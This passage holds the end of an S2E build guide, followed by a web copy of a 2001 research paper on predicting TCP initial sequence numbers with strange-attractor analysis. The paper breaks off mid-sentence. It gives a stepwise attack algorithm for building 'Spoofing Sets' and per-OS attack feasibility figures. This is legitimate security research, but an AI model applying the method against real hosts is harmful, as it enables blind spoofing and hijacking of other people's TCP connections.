    $ cd obj
    $ ../../llvm-gcc4.2-2.6.source/configure --prefix=`pwd`/../install --program-prefix=llvm- --enable-llvm=$S2EDIR/build/llvm-2.6 \
        --enable-languages=c,c++ --with-arch=nocona --with-tune=generic --with-gxx-include-dir=/usr/include/c++/4.0.0 \
        --build=x86_64-apple-darwin10 --host=x86_64-apple-darwin10 --target=x86_64-apple-darwin10
    $ make (use -jX to speedup the build process)
    $ make install
    $ export LLVM_GCC_DIR=$S2EDIR/build/llvm-gcc4.2-2.6/install
    $ cd $S2EDIR/build
    $ rm -rf llvm-2.6 (will be reconfigured and rebuilt for S2E later)
    
    
[/code]

  * **FIXME** : Edit `$S2EDIR/build/Makefile`

[code]

    Remove the "u" flag from "cp -Rup" in lines 76 and 84 (on Darwin 10: "cp: illegal option -- u").
    In line 58: --with-llvmgccdir=$(LLVM_GCC_DIR)
    In lines 131, 145: --with-llvmgcc=$(LLVM_GCC_DIR)/bin/llvm-gcc
    Add a configure option to the "stamps/tools-configure" target: 
    CXXFLAGS="-I/opt/local/include -L/opt/local/lib/x86_64" (bfd.h, -libiberty etc.)
    
    
[/code]

  * Build S2E

[code]

    $ make
    
[/code]

# Strange Attractors and TCP/IP Sequence Number Analysis

**Created:**| _3/23/2012 12:09:11 PM_  
---|---  
**Updated:**| _3/23/2012 12:09:11 PM_  
**Author:**| __  
**Tags:**| _network-security tcp random_  
  

**Strange Attractors and TCP/IP Sequence Number Analysis**

* * *
Author: Michal Zalewski <lcamtuf@bos.bindview.com>  
\(C\) Copyright 2001 BindView Corporation  

Printer-friendly version of this paper can be downloaded here.

  

**_Table of Contents:_**

0\. Abstract  
1\. Introduction  
1.1 TCP Sequence generation and PRNGs  
1.2 Spoofing Sets  
2\. Phase Space Analysis, Attractors and ISN Guessing  
2.1 Introduction to Phase Space Analysis  
2.2 Using Attractors for Spoofing Set Construction  
2.3 Real-Life Attack Algorithms  
3\. Review of Operating Systems  
3.1 Linux  
3.2 Windows  
3.3 Cisco IOS  
3.4 AIX  
3.5 FreeBSD and NetBSD  
3.6 OpenBSD  
3.7 HP/UX  
3.8 Solaris  
3.9 BSDI  
3.10 IRIX  
3.11 MacOS  
3.12 Multiple Network Devices  
3.13 Other PRNG issues  
4\. Risk Analysis  
5\. Conclusions  
6\. References  
7\. Credits  

Appendix A: Phase Space Images of Known Generating Functions  

* * *
****

**0\. Abstract**

**** We consider the problem of inserting a malicious packet into a TCP
connection, as well as establishing a TCP connection using an address that is
legitimately used by another machine. We introduce the notion of a Spoofing
Set as a way of describing a generalized attack methodology. We also discuss a
method of constructing Spoofing Sets that is based on Phase Space Analysis and
the presence of function attractors. We review the major network operating
systems relative to this attack. The goal of this document is to suggest a way
of measuring relative network-based sequence number generators quality, which
can be used to estimate attack feasibility and analyze underlying PRNG
function behavior. This approach can be applied to TCP/IP protocol sequence
numbers, DNS query identifiers, session-id generation algorithms in cookie-
based authentication schemes, etc.

Please note that presented results are preliminary and should not be
considered as a reliable metric for comparing the relative strength of the
operating systems ISN generators at this time.

IMPORTANT UPDATE: Please read this notice about the bundled sequence analysis
tool.

****

**1\. Introduction**

****

****

**1.1 TCP Sequence generation and PRNGs**

**** Upon connection via TCP/IP to a host, the host generates an Initial
Sequence Number \(ISN\). This sequence number is used in the conversation
between itself and the host to help keep track of each packet and to ensure
that the conversation continues properly. Both the host and the client
generate and use these sequence numbers in TCP connections.

As early as 1985 there was speculation that by being able to guess the next
ISN, an attacker could forge a one-way connection to a host by spoofing the
source IP address of a trusted host, as well as the ISN which would normally
be sent back to the trusted host via an acknowledgement packet. It was
determined that to help ensure the integrity of TCP/IP connections, every
stream should be assigned a unique, random sequence number. The TCP sequence
number field is able to hold a 32-bit value, and 31-bit is recommended for use
by RFC specifications. An attacker wanting to establish connection originating
from a fake address, or to compromise existing TCP connection integrity by
inserting malicious data into the stream \[1\] would have to know the ISN.
Because of the open nature of the Internet, and because of large number of
protocols that are not using cryptographic mechanisms to protect data
integrity, it is important to design TCP/IP implementations in a way that does
not allow remote attackers to predict an ISN \(this is called a "blind
spoofing" attack\).

It is difficult to generate unpredictable numbers using a computer. This is
because computers are designed to execute strictly defined sets of commands in
repeatable and accurate ways. Thus, every fixed algorithm can be used to
produce exactly the same results on another computer, which then can be used
to effectively predict output values, assuming attracker can reconstruct
internal state of such a remote system. Also, even if the target PNRG function
is not known, sooner or later the algorithm will start generating the same
exact sequences over again, because there is a limited number of possible
internal states that can be used by a specific algorithm \(computers are using
finite precision and range arithmetics\). Hopefully this happens later and the
conditions to start the repeating of sequential numbers will take many months
or years. But, there are known vulnerable implementations with a PRNG
generator period of just over 500 elements or less.

The common approach of dealing with this lack of true randomness is to
introduce additional randomness, or entropy, from an external, unpredictable
source. Usually, this randomness is calculated from keystroke intervals,
specific I/O interrupts and other parameters that are not known to the
attacker. This solution, combined with a reasonably good hashing function that
produces full 32 or 31-bit data with no correlation between subsequent results
without revealing useful information about the internal state of PRNG
function, can be used to make an excellent TCP sequence generator.
Unfortunately, TCP ISN generators are rarely written this way, and when they
are, there are numerous flaws or implementation errors that can lead to
predictable ISNs.

RFC1948 suggests the use of source IP address, destination IP address, source
port and destination port, plus an additional random secret key. This data
should be hashed using a shortcut function to generate random and unique
sequence numbers for every unique connection. Failing to account for this can
lead to improper conclusions when analyzing TCP generators with respect to ISN
predictability. Indeed, statements that are true for the ISNs coming back to
the attacker might not be true for other connections, as the hash values would
be different.

This research attempts to analyze the pseudo-random number generators
\(PRNGs\) used for TCP sequence number generation in different operating
systems and to expose potential flaws in the algorithms used. We analyzed the
generated sequence numbers, instead of trying to focus on the actual
implementations in the various operating systems. In essence, we approached
the analysis from the same standpoint as the remote attacker would - from the
network.

\[1\] - Data insertion attacks require additional knowledge about established
connections, which can be easily obtained in some cases. However, no knowledge
is required about the transferred data itself so, these attacks qualify as
"blind spoofing" attacks. Such attacks are performed against open client-
server connections based on the knowledge about predictable ISNs used at one
of the endpoints, and can be performed against numerous protocols. One of the
examples is inserting malicious contents or malicious RCPT TO fields into SMTP
transaction in order to modify or intercept e-mails.

****

**1.2 Spoofing Sets**

**** TCP implementations must be reasonably robust against denial of service
\(DoS\) attacks. Among other things, this means that all TCP implementations
regularly discard packets with incorrect ISNs, since the failure to do so
presents an obvious DoS attack. TCP ISNs are 32-bit numbers. So, if an
attacker is able to generate 2^32 packets, each with a different guess for the
next sequence number, the attacker would be assured that one of his malicious
packets will contain the correct sequence number. However, guessing the right
ISN from the entire 32-bit space \(4,294,967,296 possibilities\) is not
feasible due to the excessive amount of bandwidth and time required. That is
why a good TCP sequence number generator implementation currently provides
enough security to protect against spoofing attacks, at least for the present
time and in typical conditions. But increasing bandwidth and processor speed
will eventually make brute force guessing of 32-bit ISNs feasible for the
average attacker.

Based on these observations, we introduce the idea of a Spoofing Set. A
Spoofing Set is a set of guessed values for ISNs that are used to construct a
packet flood that is intended to corrupt some established TCP connections. Our
goal is to add enough reasonable guesses to the Spoofing Set to ensure that
the next ISN value is included, while at the same time, keeping the Spoofing
Set size small enough for an attack to be feasible. A Spoofing Set can be as
small as a single value or it as large as a several million posibilities.

Attacks with less than 5,000 combinations are usually feasible regardless of
network uplink parameters and available resources. Attacks with 5,000 to
60,000 possibilities are more resource-consuming, but still possible. Attacks
using more than 60,000 packets are possible only rarely and would consume
amounts of bandwidth and resources that are not available to all attackers.

****

**2 Introduction to Phase Space Analysis**

**** In this section we provide a short introduction to phase space analysis
and the behavior of strange attractors. We then discuss how to apply these
tools to the problem of ISN value guessing.

****

**2.1 Introduction to Phase Space Analysis**

**** Phase space is an n-dimensional space that fully describes the state of
an n-variable system. An attractor is a shape that is specific to the given
PRNG function, and reveals the complex nature of dependencies between
subsequent results generated by the implementation.

We wanted to generate clean, three-dimensional representations of one-
dimensional input data. The method used is known as "delayed coordinates", and
is well-known and widely used in the analysis of dynamic systems, especially
nonlinear systems and deterministic chaos \[2\]. This method assumes that we
can reconstruct missing dimensions using previous, delayed function values as
additional coordinates. Instead of using function values, we decided to
calculate the first-order difference for the input data to generate more
suggestive and useful results to show the function dynamics. So if s stands
for the input set, and x, y and z are the point coordinates we are looking
for, the equations are:

[code]

         x[n] = s[n-2] - s[n-3]
         y[n] = s[n-1] - s[n-2]
         z[n] = s[n] - s [n-1]
[/code]

The following is an example of input data from a sequence of ISNs. Looking at
the example doesn't allow us to determine what kind of underlying function was
used to generate the data. It appears that these numbers are random with no
dependencies between subsequent results:

_...4293832719, 3994503850, 4294386178, 134819, 4294768138 191541, 4294445483,
4294608504, 4288751770, 88040492..._

Here is what we would see when using the attractor reconstruction technique:

<img src='img/Temp2_7755.jpg' width='640' height='480' alt='[ curly function
]' />

What we see is an order and a correlation between subsequent results, creating
a subtle three-dimensional path.

****

**2.2 Using Attractors for Spoofing Set Construction**

**** We can now describe how to use 3-dimensional PRNG function attractors to
construct a Spoofing Set. Since the behavior of attractors is not fully
understood, we note that the algorithm presented here is a heuristic approach.
We can not prove, in a strict mathematical sense, that our algorithm will
accurately guess ISN values. Nor have we done the statistical analysis that
would be required to verify that our results are statistically significant and
predictive of future results. Such analysis would require the collection of
more data and is beyond the scope of this paper. We hope this sort of
independent verification will be an area of future work.

Our approach is built upon this widely accepted observation about attractors:

**If a sequence exhibits strong attractor behavior, then future values in the
sequence will be close to the values used to construct previous points in the
attractor.**

Our goal is to construct a spoofing set, and, later, to calculate its relative
quality by empirically calculating the probability of making the correct ISN
prediction against our test data. For the purpose of ISN generatorscomparison
, we established a limit of guess set size at the level of 5,000 elements,
which is considered a limit for trivial attacks that does not require
excessive network bandwidth or processing power and can be conducted within
few seconds.

We assume the targeted system's operating system is known and that we have
already collected a sample sequence of approximately 50,000 ISN values.

We will call this sequence seq\[n\], and will call the corresponding set of
3-dimensional phase-points calculated based on the deltas between sequence
values, A. Remember, the coordinates for points in the attractor, A, are
calculated using the equations:

[code]

         x[t] = seq[t]   - seq[t-1]
         y[t] = seq[t-1] - seq[t-2]
         z[t] = seq[t-2] - seq[t-3]
[/code]

Here is an example of the 3-dimensional attractor for some sequence, seq\[n\]:

<img src='img/Temp2_7771.jpg' width='640' height='480' alt='[ random planes ]'
/>

If we know the value of seq\[t-1\], the problem of determining a "good" guess
for the value of seq\[t\] is equivalant to choosing a "good" point in discrete
3-space. Indeed, given a point \(x, y, z\), we can add x + seq\[t-1\] to our
Spoofing Set as a guess for seq\[t\].

Now, we turn our attention towards choosing points in discrete 3-space that
will produce effective Spoofing Sets. We refer to adding a point \(x, y, z\),
adding a delta value x and adding a sequence value to the Spoofing Set
interchangeably.

We begin this analysis by noting that seq\[t-1\], seq\[t-2\] and seq\[t-3\]
can be easily gathered by probing the remote host. Thus, the point \(x\[t\],
y\[t\], z\[t\]\), which corresponds to the next sequence value, seq\[t\], will
be somewhere on the line, L, given by:

[code]

         y = seq[t-1] - seq[t-2]
         z = seq[t-2] - seq[t-3]
[/code]

If the effect of the 3-D attractor is strong, then it is reasonable to assume
that the actual value of seq\[t\] will correspond to a point that is in, or is
close to, the intersection of L and A.

<img src='img/Temp2_7767.jpg' width='640' height='480' alt='[ yellow line ]'
/>

So, we now consider how to build up our Spoofing Set. It is useful to think of
this as a three phase process. First, we want to include any points in the
intersection between our line, L, and the attractor, A. However, we note that
this intersection may be empty; a situation that occurs if the subsequence
seq\[t-3\], seq\[t-2\], seq\[t-1\] never appears in our original input data
stream. In this case, we want to add points in A that are "close" to our line,
L.

To explain this approach, we will describe how to construct a Spoofing Set
using a hypothetical example. Let's assume that the three previous sequence
values were equal to 5, 10 and 7816. Further suppose we do not have any point
in the attractor matching the y and z coordinates calculated using these
deltas \( y = 10-5 = 5, z = 7816-10 = 7806\), but there is another attractor
point, for y = 6 and z = 7805. If the PRNG is not working properly and there
is some kind of correlation between the previous and the next results, we can
expect that points with almost the same y and z coordinates would have almost
the same x coordinates. Of course, this may not be true, but if it is, then it
is a clear sign of a weak PRNG. Assuming it's true, we want to include this
point in our Spoofing Set, and hope that the next ISN will be relatively
similar.

So, the second phase of our process is to select all points in A that are
within some radius, R1, of the line, L, and use their corresponding x values
to create candidates for the Spoofing Set.

Finally, the observed behavior of strong attractors is that their shape tends
to fill up and become more dense as more points are plotted. This implies that
the value of x\(t\) should be relatively close to the x-value of one of the
points already in our Spoofing Set.

Geometrically speaking, we can think of taking the projection of all points
currently in our Spoofing Set onto line L or in near proximity of it \(radius
R1\). Then for each point in the projection we create an interval with radius
R2, and add each of the integer values within these intervals to the Spoofing
Set. More precisely, for each value x in the initial Spoofing Set, we add the
following values:

x + 1, x - 1, x + 2, x - 2, ... x + R2, x - R2

Because we want to implement a fixed limit of 5,000 elements per guess set, we
have to select R1 in the way that would generate non-empty guess sets
\(usually of the size 1-500\) in the phase 2, and choose R2 to produce exactly
5,000 elements \(excluding possible overlaps in generated ranges for every ISN
guess obtained in phase 2\).

We have produced a program that implements this algorithm, and performs an
attractor space search to predict the next ISN values.

The program accepts four parameters. These parameters are the three previous
sequence numbers and the search radius R1, which affects search speed and does
not have significant meaning for the generated results as long as any points
can be found. The program tries to guess the next ISN. The ISN guesses
generated correspond to the values that are used to generate attractor points.
For more precise results, the Spoofing Set can be sorted first by the
"attraction strength" \(point saturation\) of every point and then, for points
of similar attraction strength, by distance from the given y and z line.

Separate program was used to calculate the value of R2 that has to be used for
the initial Spoofing Set returned previously in order to achieve Spoofing Set
of size exactly 5000.

For PRNG function analysis, we collected streams of 100,000 sequence numbers
for many popular operating systems. For each operating system, we divided our
input data set into two parts. The first 50,000 were used by our algorithm to
reconstruct the phase-space attractor. Then, trials were conducted to analyze
relative Spoofing Set quality. This was done by inspecting all possible
quadruples of ISNs from the second 50,000 and calculating the number of values
that could be predicted using the Spoofing Set generation algorithm described
above. The percentage of successful guesses is referred to as the "attack
feasibility ratio".

Additional spoofing set characteristics are calculated at the time of initial
tests:

\- Average R2 radius, which reflects attractor strength; a larger R2 radius
indicates a stronger attractor structure while a smaller R2 indicates a more
dispersed structure

\- Average error, which reflects average distance from the numbers generated
in stage 2; it is always smaller than R2, and a large disproportion means that
usually less than 5,000 guesses has to be made for successful ISN prediction,

\- Average number of elements generated in stage 2, and average number of
elements to be processed before getting the right guess; this, for given R1,
reflects attractor density,

Note that average error value can be calculated only if there is enough
correct guesses.

These values, along with the attack feasibility and specific attractor 3D
representation, are unique for every operating system or ISN implementation.

To minimize or avoid the risk caused by the RFC1948 suggestions mentioned
earlier, our test data was generated using a constantly changing source port
number. For properly working hashing functions built according to the RFC
specifications, changes of used source port would cause effects that are not
distinguishable from changes caused by different source addresses. Other
behaviors would mean that the hashing function could be easily reversed and is
not secure for PRNG or RFC1948 purposes. Whenever RFC1948-specific behavior
was observed, additional tests with constantly changing source address IPs
were performed to confirm this assumption.

Note: Our test set of approximately 50,000 quadruples is not a true random
sampling of real-life data. The quadruples are subsequent to each other and
are subsequent to the data set used to reconstruct the attractor. For this
reason, we must point out that our coverage rate can not be interpreted as
being predictive of future success. It should be relatively straight forward
to perform the requisite statistical analysis to be able to make statements
about the accuracy of our initial trials, but this is beyond the scope of this
paper.

****

**2.3 Real-Life Attack Algorithm**

**** The results presented in this document were produced using relatively
good network parameters on LAN networks or fast Internet uplinks. For some
algorithms, mainly time-dependent algorithms, the generated attractors are
specific for given packet latency ranges. For example, an attractor built for
a network where SYN packets \(and SYN+ACK responses\) are delivered in the
intervals of 10 to 20 milliseconds would be unsuitable or would produce
significantly lower quality guesses against a host with packet delivery
intervals of 500-800 ms.

Because of this, it may be a good idea to generate attractors for few common
timing ranges for each operating system, and use the best for a specific
attack. Nevertheless, unstable or overloaded links, where average delivery
delays vary heavily \(e.g. 10-5000ms\), might decrease the relative quality of
Spoofing Sets generated against time-dependent algorithms. This observation
does not apply to other algorithms that show no time-dependency patterns.
Additionally, excessive packet drop ratios and other network conditions can
affect attack feasibility.

For the purpose of estimating attack feasibility and choosing the best
attractor for a given operating system, applied patches and network latency,
we recommend the following algorithm:

A\) The attacker has a set of attractors built for specific systems \(and in
specific network conditions\). Every attractor should be described with
additional parameters, that include estimated attack feasibility, average R2,
average error, average elements count, etc.

B\) The attacker should get n data samples, each containing four subsequent
sequence numbers from the host to be attacked. The operating system of the
target does not need to be known at this point. In most cases, n=20 should be
sufficient. This it requires sending 80 packets.

C\) For each attractor in the archive, the attacker should use the first three
sequence numbers in each data sample to predict the fourth, by using the
algorithm discussed above and the R1 that belongs to this attractor. The
attacker should choose the attractor with the best results.

D\) Then, the attacker has to wait until the attack condition happens. The
attacker can then collect the three sequence numbers, create a Spoofing Set
with the selected attractor and perform the attack.

E\) If no suitable attractor has been found, the specific operating system or
specific network parameters cannot be exploited in a feasible way using the
known data, then here are two ways to solve this problem. First, the attacker
can use target itself to build an attractor. This method would be very
accurate, but it involves sending thousands of packets, which might be
noticed. Or, they can perform operating system fingerprinting, and reproduce
the targeted system configuration in a lab or locate it somewhere else, where
attack would not be noticed. Then, the attacker needs to measure the average
network latency and the fluctuations, and reproduce the conditions during the
attractor construction process. Finally, standard attractor test procedures
\(probability estimations, choosing R1, etc.\) need to be performed.

****

**3\. Review of Operating Systems**

**** In this section, we discuss the specific TCP/IP ISN generators used by a
variety of operating systems.

****

**3.1 Linux**

****

<img src='img/Temp2_7774.jpg' width='640' height='480' alt='[ Linux ]' />

Operating system: | Linux 2.2   
---|---  
R1 radius: | 1000   
Attack feasibility: | below 0.05%   
Avg. number of elements: | 27 / n/a   
Average R2: | 1415   
Average error: | n/a   
Linux 2.2 TCP/IP sequence numbers are not as good as they might be, but are
certainly adequate, and attack feasibility is very low. There is no strong
attractor structure; it makes a 24-bit wide cloud, which means that the deltas
are in the range C to C + 2^b - 1, where C is a constant shift and b is a bit
width of the cloud. A wider 32- or 31-bit cloud would be better, but 24 bits
gives over 16 million combinations, making spoofing practically impossible in
most real-life scenarios.

Our attractor analysis method gives results comparable to a brute-force search
of whole 24-bit space. Linux can be qualified as low-risk OS in the scope of
this document.

Linux is taking advantage of RFC1948. The hashing function implementation
seems to be flawless, and additional randomness is introduced. Thus, the
observed ISN generator characteristics are not related to any specific TCP
connection parameters. ISNs are more easily predictable when using exactly the
same source port, source address, destination port and destination address,
but hashing function "secret" value is modified in relatively short time
intervals \(and thus frequently changing observed characteristics\), do not
exposing system security.

****

**3.2 Windows**

****

<img src='img/Temp2_7765.jpg' width='640' height='480' alt='[ Windows 2000 ]'
/>

Operating system: | Windows 2000   
---|---  
R1 radius: | 10   
Attack feasibility: | 12.08%   
Avg. number of elements: | 81 / 5   
Average R2: | 413   
Average error: | 151   
Operating system: | Windows NT4 SP6a + hotfixes   
---|---  
R1 radius: | 10   
Attack feasibility: | 15%   
Avg. number of elements: | 106 / 5   
Average R2: | 426   
Average error: | 177   
Windows 2000 and Windows NT4 SP6a are presenting almost the same level of TCP
sequence number predictability, which can be qualified as medium to high,
allowing attacker to get reasonably high success rates without using excessive
amounts of network resources. Both systems are mildly vulnerable to attacks.
There is no strong attractor structure visible \(3D "cube"\).

<img src='img/Temp2_7759.jpg' width='640' height='480' alt='[ Windows NT ]' />

Operating system: | Windows NT4 SP3   
---|---  
R1 radius: | 0   
Attack feasibility: | 97.00%   
Avg. number of elements: | 570 / 2   
Average R2: | 670   
Average error: | 8   
Windows NT4 with no recent service patches and hotfixes is vulnerable to ISN
guessing attacks using just a few packets, and can be easily attacked using
5,000 guesses with an almost 100% success rate. This version of Windows NT 4.0
can be qualified as high risk. Our attractor analysis method gives very good
results here. NOTE: Problems in pre-SP6a Windows NT were already addressed in
several advisories.

<img src='img/Temp2_7752.jpg' width='640' height='480' alt='[ Windows 95 ]' />

Operating system: | Windows 95   
---|---  
R1 radius: | 0   
Attack feasibility: | 100.00%   
Avg. number of elements: | 1048 / 1   
Average R2: | 2294   
Average error: | 118   
Windows 95 sequence numbers are very weak. But it is really difficult to
understand is why this algorithm was further "weakened" in Windows 98 \(SE\),
decreasing estimated error and number of elements required to get the right
guess, in average:

<img src='img/Temp2_7758.jpg' width='640' height='480' alt='[ Windows 98 ]' />

Operating system: | Windows 98 SE   
---|---  
R1 radius: | 0   
Attack feasibility: | 100.00%   
Avg. number of elements: | 785 / 1   
Average R2: | 1091   
Average error: | 7   
****

**3.3 Cisco IOS**

**** Recently, some security advisories addressing serious TCP/IP sequence
number flaws in the Cisco IOS operating system were released. Short tests
against Cisco IOS implementation show the nature of this vulnerability:

<img src='img/Temp2_7769.jpg' width='640' height='480' alt='[ Cisco IOS t-dep
]' />

Operating system: | Cisco IOS 12.0 \(unpatched\)   
---|---  
R1 radius: | 10   
Attack feasibility: | 20.00%   
Avg. number of elements: | 88 / 3   
Average R2: | 557   
Average error: | 431   
What we see above is a trivial, probably microsecond clock-based time
dependency at its finest \(see Appendix A\), with most of the points attracted
to one point with "echos" around. In order to exploit this vulnerability, the
attacker would simply have to synchronize his own clock with the IOS clock,
taking care of packet rtt times, and performing the attack at any time by
sending packets for, e.g., 100 microseconds +/-. Thus, Cisco IOS can be
qualified as a high-risk OS. Besides that, our attractor analysis method
provides reasonably high success ratio using 5,000 guesses against this OS.

Here, for comparsion, are the results for patched IOS. The main attractor is
still there, but some additional noise was introduced to make the prediction
more difficult:

<img src='img/Temp2_7777.jpg' width='640' height='480' alt='[ Cisco IOS
patched ]' />

Operating system: | Cisco IOS 12.0 \(patched\)   
---|---  
R1 radius: | 1000   
Attack feasibility: | 2.06%   
Avg. number of elements: | 143 / 3   
Average R2: | 296   
Average error: | 182   
****

**3.4 AIX**

**** This is a trivial cyclic increments example. The output doesn't look too
impressive because there are just a few values used:

<img src='img/Temp2_7761.jpg' width='640' height='480' alt='[ AIX ]' />

Operating system: | AIX 4.3   
---|---  
R1 radius: | 0   
Attack feasibility: | 100.00%   
Avg. number of elements: | 99 / 1   
Average R2: | 278   
Average error: | 0   
****

**3.5 FreeBSD and NetBSD**

**** FreeBSD 4.2 implementation is not impressive, and can be qualified as a
medium to low risk system. An attack with minimal resources has a small, but
non-zero success ratio:

<img src='img/Temp2_7763.jpg' width='640' height='480' alt='[ FreeBSD ]' />

Operating system: | FreeBSD 4.2   
---|---  
R1 radius: | 10   
Attack feasibility: | 1.00%   
Avg. number of elements: | 59 / 2   
Average R2: | 129   
Average error: | 64   
****

**3.6 OpenBSD**

**** The problem here is pretty similar to the FreeBSD case - not alarming,
but not impressive. Tested against OpenBSD 2.8:

<img src='img/Temp2_7762.jpg' width='640' height='480' alt='[ OpenBSD ]' />

Operating system: | OpenBSD 2.8   
---|---  
R1 radius: | 20   
Attack feasibility: | 3.05%   
Avg. number of elements: | 63 / 4   
Average R2: | 660   
Average error: | 372   
The OpenBSD TCP/IP sequence number generator has recently been rewritten by
Niels Provos. New code is available, but had not been included in any official
release as of this writing. According to Theo de Raadt, the code was finished
in December, and is supposed to be shipped with OpenBSD 2.9 in late May. The
current version of OpenBSD generates a 31-bit wide cloud which does not
produce any useful spoofing sets:

<img src='img/Temp2_7773.jpg' width='640' height='480' alt='[ OpenBSD-current
]' />

Operating system: | OpenBSD-current   
---|---  
R1 radius: | 1000000   
Attack feasibility: | 0.00%   
Avg. number of elements: | 20 / n/a   
Average R2: | 1707   
Average error: | n/a   
****

**3.7 HP/UX**

**** HPUX10 seems to have, practically speaking NO random sequence numbers. It
has constant increases of 64,000 \(0 bits of randomness, 1 guess, R1=0,
R2=0\). This is the default configuration, which fortunately can be modified,
but once modified becomes a well-known cube pattern. HPUX11 seems to have a
significantly improved random number generator. The function used seems to be
really weird, reminding us of the shape of the Mir orbital station.
Unfortunately, this is certainly not enough. It is possible to find a
12-element spoofing set, and HPUX can be described as a high risk system:

<img src='img/Temp2_7775.jpg' width='640' height='480' alt='[ HP/UX 11 ]' />

Operating system: | HPUX11   
---|---  
R1 radius: | 0   
Attack feasibility: | 100.00%   
Avg. number of elements: | 10 / 1   
Average R2: | 2499   
Average error: | 0   
****

**3.8 Solaris**

**** Solaris has three different settings for the tcp\_strong\_iss kernel
parameter. When it is set to 0, completely predictable numbers are generated
\(a 9-element SpoofingSet\). With the default setting of 1, Solaris 7 and 8
generates relatively good, but certainly not perfect, ISNs:

<img src='img/Temp2_7764.jpg' width='640' height='480' alt='[ Solaris 7 ]' />

Operating system: | Solaris 7 \(tcp\_strong\_iss=1\)   
---|---  
R1 radius: | 10   
Attack feasibility: | 2.08%   
Avg. number of elements: | 27 / 2   
Average R2: | 1292   
Average error: | 732   
In Solaris 8 with tcp\_strong\_iss=1, the "randomness" source seems to behave
slightly differently, but this does not affect its quality. The data makes
oval, Linux-like cloud:

<img src='img/Temp2_7772.jpg' width='640' height='480' alt='[ Solaris 8 ]' />

Setting tcp\_strong\_iss to 2, according to the vendor, is supposed to
generate very reliable and unpredictable ISNs. The attractor generated for
this operating system is filling 32-bit space rather uniformly. On the other
hand, using the attractor analysis method, it is possible to guess the right
value in less than 200 attempts, which can be explained by heavy saturation of
attractor points:

<img src='img/Temp2_7760.jpg' width='640' height='480' alt='[ tcp_strong_iss 2
]' />

Operating system: | Solaris 7 \(tcp\_strong\_iss=2\)   
---|---  
R1 radius: | 100   
Attack feasibility: | 66.00%   
Avg. number of elements: | 19 / 1   
Average R2: | 2448   
Average error: | 108   
It is important to note that, Solaris with tcp\_strong\_iss set to 2 seems to
use the RFC1948 approach, which can be deduced by observing very low ISN
deltas changes when using exactly the same source port and other TCP
parameters in subsequent probes. To eliminate the risk described above when we
discussed the issue of RFC1948 compliance, we repeated this tests for two
different IP addresses, using the first data set to predict results found in
the second. We found that the attractors generated in both cases are
different. This does mean that you cannot use the data gathered using one IP
address to perform attacks against another, because there is no consistency in
ISN values when changing IP address.

At the same time, this problem does not exist, for example, on Linux, which is
implementing RFC1948 as well. This is because Linux is introducing additional
randomness to ISNs, while Solaris does not, and generates constant,
predictable patterns for the same IP address. The Solaris implementation is
insufficient, because ISNs are almost completely dependent on shortcut
function results, and for a few thousand of commonly used source port values,
there could be no more than few thousand hashes \(assuming other TCP
connection parameters are not changing\). Solaris does not compensate this
problem, and does not seem to introduce additional randomness or re-generate a
hashing function secret value.

Consequences are potentially dangerous in cases when clients connecting to
Solaris server are using reusable IP addresses \(e.g. dial-ups, networks
implementing dynamic addresses or address translation / sharing\), because
attacker can build an attractor based on the characteristics of the target
server and use it to perform attacks against server-client communication in
the future. Additionally, this information can be used to perform blind
spoofing attacks to establish a fake identity of the network object that the
attacker had access to some time ago \(but does not have it anymore\).

At the same time, in cases when IP addresses in TCP connections established to
Solaris server are not used by other people at any time, there is no risk
caused by that.

Below is the attractor pattern for Solaris with tcp\_strong\_iss set to 2
generated for constantly changing source IP addresses:

<img src='img/Temp2_7756.jpg' width='640' height='480' alt='[ tcp_strong_iss 2
]' />

Operating system: | Solaris 7 \(tcp\_strong\_iss=2\)   
---|---  
R1 radius: | 1000000   
Attack feasibility: | 0.00%   
Avg. number of elements: | 762 / n/a   
Average R2: | 208   
Average error: | n/a   
****

**3.9 BSDI**

****

<img src='img/Temp2_7753.jpg' width='640' height='480' alt='[ BSDI ]' />

Operating system: | BSDI 3.0   
---|---  
R1 radius: | 10   
Attack feasibility: | 18.00%   
Avg. number of elements: | 70 / 3   
Average R2: | 779   
Average error: | 379   
Both BSDI's 3.0 and 4.releases are similar to FreeBSD and give practically the
same results, with a little bit more visible shadows. This makes the attack
more difficult. The risk factor is medium to high.

****

**3.10 IRIX**

**** The IRIX operating system, even in versions that are meant to have
relatively good ISN subsystem \(recent 6.5 releases\), seems to be flawed:

<img src='img/Temp2_7778.jpg' width='640' height='480' alt='[ IRIX ]' />

Operating system: | IRIX 6.5   
---|---  
R1 radius: | 100   
Attack feasibility: | 20.00%   
Avg. number of elements: | 87 / 4   
Average R2: | 700   
Average error: | 200   
This graph shows a 15-bit "flower" containing over 98% of all observed ISN
deltas. Risk is medium to high.

****

**3.11 MacOS**

**** The older MacOS9 operating system has a predictable ISN generator. The
output pattern is similar to an X-wing fighter:

<img src='img/Temp2_7766.jpg' width='640' height='480' alt='[ MacOS 9 ]' />

Operating system: | MacOS 9   
---|---  
R1 radius: | 100   
Attack feasibility: | 89.00%   
Avg. number of elements: | 1064 / 46   
Average R2: | 184   
Average error: | 30   
The MacOS X operating system is another candidate for possible TCP sequence
number guessing attacks, but is more secure than previous releases:

<img src='img/Temp2_7754.jpg' width='640' height='480' alt='[ MacOS X ]' />

Operating system: | MacOS X   
---|---  
R1 radius: | 10   
Attack feasibility: | 17.00%   
Avg. number of elements: | 121 / 6   
Average R2: | 384   
Average error: | 249   
****

**3.12 Multiple Network Devices**

**** Most of the network devices like HP printers, many routers \(Motorola,
Netopia, US Robotics and Intel\), Siemens IP phones, numerous 3Com switches
and so on have completely predictable sequence numbers that use constant
increments \(or no increments at all\). These devices would have a one-point
or few-point representation of their PRNG engines. These problems are, in most
cases, widely known and have been discussed on numerous forums \(such as
BugTraq\), thus we do not think they are worth a separate discussion in this
paper, but, as there is constantly increasing number of services provided by
such a "smart" network equipment \(for remote management, configuration or
document delivery\), this becomes more and more appealing problem.

****

**3.13 Other PRNG issues**

**** PRNGs are providing data source authentication not only in TCP protocol.
Other uses are generating session-id "cookies" for secure web browsing and DNS
protocol sequence numbers. DNS runs over UDP most of the time and the UDP
protocol itself does not support sequence numbers. This paper is not going to
discuss other PRNG applications in detail, but we would like to note the
problem and demonstrate how easily our approach can be extended to,
practically speaking, any \[P\]RNG implementation. First of all, three
examples:

The following picture shows the weak glibc 2.1.9x resolver DNS sequence
numbers implementation on Linux in client queries \(over 50% attack
feasibility, applying our previous algorithm to this case\):

<img src='img/Temp2_7776.jpg' width='640' height='480' alt='[ libc resolver ]'
/>

Below is the pattern generated for the Microsoft DNS server implementation
\(queries originating from the server\), which shows very strong
predictability pattern and is certainly not sufficient to protect against DNS
